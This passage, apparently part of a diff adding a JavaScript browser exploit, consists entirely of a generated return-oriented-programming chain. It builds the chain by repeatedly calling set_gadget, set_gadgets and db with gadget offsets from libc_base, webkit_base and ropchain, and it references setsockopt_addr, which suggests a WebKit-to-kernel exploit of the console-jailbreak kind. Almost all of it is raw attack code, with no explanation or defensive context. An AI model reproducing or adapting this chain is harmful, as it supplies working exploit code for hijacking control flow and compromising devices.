+libc_base+863109, +libc_base+713278, +ropchain+365312, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+365328, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796, +ropchain+365448, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+489696, +ropchain+339256, +libc_base+863109, +libc_base+713278 +]); +db([4294967280, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796 +]); +db([20, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+740138, +libc_base+713278, +ropchain+365584, +webkit_base+4687784, +libc_base+713278 +]); +db([4294967276, 4294967295]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796 +]); +db([46, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796 +]); +db([41, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+365784, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([24, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+365872, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+365888, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149873, +libc_base+713278, +ropchain+366048, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+366080, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+366032, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+366064, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+366176, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+366160, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796, +ropchain+366280, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+489696, +ropchain+367520, +libc_base+863109, +libc_base+713278 +]); +db([4294967256, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+366424, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+366440, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+366408, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+366568, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+366600, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+366584, +webkit_base+4687784, +libc_base+713278 +]); +db([0, 0]); +set_gadget(webkit_base+3789839,); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+11809960, +libc_base+232261, +webkit_base+426067, +libc_base+713278, +ropchain+366712, +libc_base+507828, +libc_base+145226, +libc_base+713278, +ropchain+366704, +webkit_base+4687784, +webkit_base+1816389, +libc_base+489696 +]); +db([0, 0]); +set_gadgets([ +ropchain+366728, +ropchain+367192, +libc_base+388400, +libc_base+713278, +ropchain+366800, +webkit_base+4687784, +libc_base+768796 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149873, +libc_base+713278, +ropchain+366960, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+366992, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+366944, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+366976, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+367072, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+367088, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+367184, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+367168, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+713278, +ropchain+367272, +webkit_base+4687784, +libc_base+740138, +libc_base+713278, +ropchain+367256, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+367376, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+367392, +webkit_base+4687784, +webkit_base+1420514 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+367512, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+367496, +webkit_base+4687784, +libc_base+768796 +]); +db([0, 0]); +set_gadget(libc_base+489696,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([208, 0]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +libc_base+165442, +libc_base+430587, +libc_base+713278 +]); +db([4294967280, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +libc_base+713278, +libc_base+430587, +libc_base+207036, +libc_base+768796, +webkit_base+608613, +libc_base+430587, +libc_base+207036, +libc_base+768796, +libc_base+772328, +libc_base+430587, +libc_base+207036, +libc_base+768796, +webkit_base+1420514, +libc_base+430587, +libc_base+207036, +libc_base+768796, +webkit_base+17972187, +libc_base+430587, +libc_base+207036, +libc_base+768796, +libc_base+765305, +libc_base+430587, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +libc_base+11, +libc_base+430587, +libc_base+207036, +libc_base+768796, +libc_base+11, +libc_base+430587, +libc_base+207036, +libc_base+768796, +libc_base+713278, +libc_base+430587, +libc_base+713278 +]); +db([4294967280, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +webkit_base+4687784, +libc_base+430587, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +libc_base+772328, +libc_base+430587, +libc_base+713278 +]); +db([4294967280, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +libc_base+165442, +libc_base+430587, +libc_base+207036, +libc_base+768796, +webkit_base+1420514, +libc_base+430587, +libc_base+207036, +libc_base+768796, +libc_base+489696, +libc_base+430587, +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967280, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([208, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967080, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([200, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967088, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([192, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967096, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([184, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967104, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([176, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967112, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([168, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967272, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+388400, +libc_base+772328 +]); +db([4294967280, 4294967295]); +set_gadgets([ +webkit_base+5236215, +libc_base+772328, +setsockopt_addr, +webkit_base+2989859, +libc_base+713278 +]); +db([4294967192, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+388400, +libc_base+713278 +]); +db([48, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967280, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+740138, +libc_base+430587, +libc_base+713278 +]); +db([32, 0]); +set_gadgets([ +libc_base+207036, +libc_base+388400, +libc_base+713278 +]); +db([24, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([128, 0]); +set_gadgets([ +libc_base+207036, +libc_base+388400, +libc_base+713278, +ropchain+368840, +webkit_base+4687784, +libc_base+489696 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+368912, +webkit_base+4687784, +libc_base+740138, +webkit_base+1420514 +]); +db([0, 0]); +set_gadgets([ +libc_base+430587, +libc_base+388400, +libc_base+713278, +ropchain+368976, +webkit_base+4687784, +libc_base+740138, +webkit_base+1420514 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([128, 0]); +set_gadgets([ +libc_base+207036, +libc_base+740138, +libc_base+713278 +]); +db([4294967168, 4294967295]); +set_gadgets([ +libc_base+772328, +libc_base+149872, +libc_base+507828, +webkit_base+2989859, +libc_base+740138, +libc_base+713278 +]); +db([4294967176, 4294967295]); +set_gadgets([ +libc_base+772328, +libc_base+713278, +libc_base+507828, +webkit_base+2989859, +libc_base+713278, +ropchain+369176, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294967168, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+369256, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+430587, +libc_base+713278, +ropchain+369312, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+863109, +libc_base+713278, +ropchain+369408, +webkit_base+4687784, +libc_base+768796 +]); +db([13, 0]); +set_gadget(webkit_base+3789839,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([8, 0]); +set_gadgets([ +webkit_base+1537212, +libc_base+713278, +ropchain+369504, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+369520, +webkit_base+4687784, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+764700, +libc_base+713278, +ropchain+369608, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+369664, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+369752, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294967184, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+2989859, +libc_base+740138, +libc_base+713278 +]); +db([4294967192, 4294967295]); +set_gadgets([ +libc_base+772328, +webkit_base+4687784, +libc_base+507828, +webkit_base+2989859, +libc_base+740138, +libc_base+713278 +]); +db([4294967200, 4294967295]); +set_gadgets([ +libc_base+772328, +libc_base+713278, +libc_base+507828, +webkit_base+2989859, +libc_base+713278, +ropchain+369952, +webkit_base+4687784, +libc_base+713278 +]); +db([4294967295, 4294967295]); +set_gadget(libc_base+768796,); +db([7, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+856504, +libc_base+507828, +libc_base+713278, +ropchain+370032, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294967208, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+2989859, +libc_base+740138, +libc_base+713278 +]); +db([4294967216, 4294967295]); +set_gadgets([ +libc_base+772328, +libc_base+207036, +libc_base+507828, +webkit_base+2989859, +libc_base+740138, +libc_base+713278 +]); +db([4294967224, 4294967295]); +set_gadgets([ +libc_base+772328, +libc_base+149872, +libc_base+507828, +webkit_base+2989859, +libc_base+740138, +libc_base+713278 +]); +db([4294967232, 4294967295]); +set_gadgets([ +libc_base+772328, +libc_base+772328, +libc_base+507828, +webkit_base+2989859, +libc_base+740138, +libc_base+713278 +]); +db([4294967240, 4294967295]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+370304, +webkit_base+4687784, +libc_base+772328 +]); +db([125, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+2989859, +libc_base+740138, +libc_base+713278 +]); +db([4294967248, 4294967295]); +set_gadgets([ +libc_base+772328, +libc_base+764700, +libc_base+507828, +webkit_base+2989859, +libc_base+740138, +libc_base+713278 +]); +db([4294967256, 4294967295]); +set_gadgets([ +libc_base+772328, +webkit_base+829030, +libc_base+507828, +webkit_base+2989859, +libc_base+740138, +libc_base+713278 +]); +db([4294967264, 4294967295]); +set_gadgets([ +libc_base+772328, +libc_base+489696, +libc_base+507828, +webkit_base+2989859, +libc_base+740138, +libc_base+713278 +]); +db([4294967272, 4294967295]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+370568, +webkit_base+4687784, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+2989859, +libc_base+713278, +ropchain+370640, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294967286, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+740138, +libc_base+713278, +ropchain+370744, +webkit_base+4687784, +libc_base+713278 +]); +db([4294967168, 4294967295]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+370792, +webkit_base+4687784, +webkit_base+12069057 +]); +db([0, 0]); +set_gadgets([ +libc_base+768796, +ropchain+370936, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+370912, +webkit_base+4687784, +webkit_base+2799478, +libc_base+713278, +ropchain+370928, +webkit_base+4687784, +libc_base+768796 +]); +db([0, 0]); +set_gadget(libc_base+489696,); +db([0, 0]); +set_gadgets([ +libc_base+863109, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+740138, +libc_base+713278, +ropchain+371024, +webkit_base+4687784, +libc_base+713278 +]); +db([4294967286, 4294967295]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+371136, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+371168, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+371152, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+229840, +libc_base+713278, +ropchain+371328, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+371280, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+371296, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([16, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+857161, +libc_base+713278, +ropchain+371384, +webkit_base+4687784, +libc_base+388400, +libc_base+165442 +]); +db([0, 0]); +set_gadgets([ +libc_base+288783, +libc_base+713278, +ropchain+371496, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+371528, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+371512, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+371688, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+371640, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+371656, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([48, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+857161, +libc_base+857183, +libc_base+713278, +ropchain+371760, +webkit_base+4687784, +libc_base+772328 +]); +db([48, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+857161, +libc_base+857183, +libc_base+713278, +ropchain+371928, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+371960, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+371912, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+371944, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+372120, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+372072, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+372088, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([48, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+857161, +libc_base+857183, +libc_base+713278, +ropchain+372224, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+372208, +webkit_base+4687784, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+372320, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([24, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+372408, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+372424, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+372528, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+372512, +webkit_base+4687784, +libc_base+388400, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+372632, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+372616, +webkit_base+4687784, +libc_base+388400, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+524088, +libc_base+713278, +ropchain+372688, +webkit_base+4687784, +libc_base+388400, +libc_base+165442 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+740138, +libc_base+713278, +ropchain+372784, +webkit_base+4687784, +libc_base+713278 +]); +db([4294967286, 4294967295]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+372864, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+430587, +libc_base+713278, +ropchain+372920, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796 +]); +db([2, 0]); +set_gadget(libc_base+772328,); +db([2, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+764700, +libc_base+713278, +ropchain+373072, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+373128, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+373256, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+373288, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+373272, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+373432, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+373400, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+373416, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+373528, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([16, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+373616, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+373632, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+373736, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+373720, +webkit_base+4687784, +libc_base+388400, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+373792, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +webkit_base+2989859, +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+373920, +webkit_base+4687784, +libc_base+740138, +libc_base+713278, +ropchain+373904, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+374024, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+374040, +webkit_base+4687784, +webkit_base+1420514 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+374160, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+374144, +webkit_base+4687784, +libc_base+768796 +]); +db([0, 0]); +set_gadget(libc_base+489696,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+374232, +webkit_base+4687784, +libc_base+740138, +webkit_base+1420514 +]); +db([0, 0]); +set_gadgets([ +libc_base+430587, +libc_base+388400, +libc_base+713278, +ropchain+374296, +webkit_base+4687784, +libc_base+740138, +webkit_base+1420514 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([280, 0]); +set_gadgets([ +libc_base+207036, +libc_base+740138, +libc_base+713278 +]); +db([4294967036, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+374424, +webkit_base+4687784, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+972324, +libc_base+713278, +ropchain+374480, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+713278, +ropchain+374544, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294967036, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+374632, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+374648, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149873, +libc_base+713278, +ropchain+374808, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+374840, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+374792, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+374824, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+374920, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+374936, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+375032, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+375016, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+388400, +libc_base+713278, +ropchain+375128, +webkit_base+4687784, +libc_base+768796 +]); +db([32, 0]); +set_gadget(webkit_base+3789839,); +db([0, 0]); +set_gadget(libc_base+165442,); +db([32, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+375272, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+375288, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+375256, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +webkit_base+15055763, +webkit_base+47019, +libc_base+232261, +libc_base+713278, +ropchain+375464, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+375480, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+375448, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+375608, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+375640, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+375624, +webkit_base+4687784, +libc_base+713278 +]); +db([0, 0]); +set_gadget(webkit_base+3789839,); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+11809960, +libc_base+232261, +webkit_base+426067, +libc_base+713278, +ropchain+375752, +libc_base+507828, +libc_base+145226, +libc_base+713278, +ropchain+375744, +webkit_base+4687784, +webkit_base+1816389, 